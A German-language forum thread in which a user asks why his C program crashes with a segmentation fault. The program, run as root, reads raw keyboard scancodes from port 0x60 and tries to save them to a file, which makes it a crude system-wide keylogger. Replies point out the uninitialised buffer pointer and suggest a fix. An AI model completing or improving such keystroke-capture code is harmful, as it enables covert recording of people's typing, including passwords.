warum gets ned??



  • Speicherzugriffsfehler !?!?!
    warum get die ausgabe aber die speicherung ned??

    #include <time.h>
    #include <unistd.h>
    #include <sys/io.h>
    #include <sys/types.h>
    #include <stdio.h>
    
    char translate[128]     ="  1234567890-=\b\tqwertyuiop[]\n asdfghjkl;'   zxcvbnm,./ *                                                                       ";
    char translateshift[128]="  +\"*ç%&/()=?`\b\tQWERTYUIOPè!\n ASDFGHJKL;'   ZXCVBNM;:_ *                                                                       ";
    char keytable[128];
    char *buffer;
    int to_write;
    int main(int argc, char** argv)
    {
        /* iopl()
           inb() */
        struct timespec test;
    
        FILE *out;
    
        if (getuid()!=0) {
    	printf("Du musst root sein.\n");
    	return 1;
        }else{
        	out = fopen("/var/temp","w+");
        }
    
        test.tv_sec=0;
        test.tv_nsec=1;
    
        unsigned char c,shift;
        for (c=shift=0; c<127; c++) keytable[c]=0;
    
        iopl(3);
    
        while(1) {
    	c=inb(0x60);
            if (c<128) {
        	    if (keytable[c]!=1) {
    		switch (c) {
    			case 88:printf("\n\n--buy--\n\n");return 0;
    		   default: {
    		      if (shift>0) {
        		        // printf("%c",translateshift[c & 127]);
    			 to_write = (int) translateshift[c & 127];
    		//	 printf("%s",c);
    		      } else {
    			//to_write = translateshift[c & 127];
    			//printf("%c",translateshift[c & 127]);
    
    			 to_write = (int) translateshift[c & 127];
    		      }
    		   }
    		   buffer = to_write;
    		   fwrite(buffer,sizeof(int),2,out);
    		   printf("%c",buffer);
    		}
    		fflush(0);
    	    }
    	    keytable[c]=1;
    	} else {
    	    keytable[c & 127]=0;
    	    if (keytable[42]==0) if (keytable[54]==0) shift=0;
    	}
    	usleep(100);
        }
    
        return 0;
    }
    


  • Vielleicht beschreibst du erstmal, was das Programm machen soll bzw. fügst nen paar Kommentare ein. Bei mir kompiliert der nichtmal einwandfrei.



  • ohh sorry habe ich vergessen!

    das Prog gibt neben bei die Keyboard eingaben aus!

    Complimiren mit :gcc -s -O3 -o uberkey uberkey.c

    ich kann die ausgaben nicht in eine Datei speichern

    mfg. amon



  • Hast du mal geprueft, ob out ein gueltiger Pointer ist, nachdem fopen-Aufruf?

    mfg
    v R



  • Das liegt ned am pointer !

    da passt was ned beim Speichern! -> fwrite(buffer,sizeof(int),2,out);

    wenn ich printf("%s",buffer); mache kommt das selbe ! (Spiecherzugriffsfehler)

    danke



  • zeigt buffer auch auf speicher? Benutze am besten mal einen Debugger



  • Im o. Code, zeigt Buffer nicht auf einen gueltigen Speicherbereich.

    Das Programm stuerzt daher auch ab. Du musst erst Speicher fuer diesen
    Puffer reservieren, damit du damit arbeiten kannst.

    mfg
    v R



  • buffer = (char*)&to_write;
    wieso uebergibst du (char*)&to_write nicht gleich an fwrite ?


Log in to reply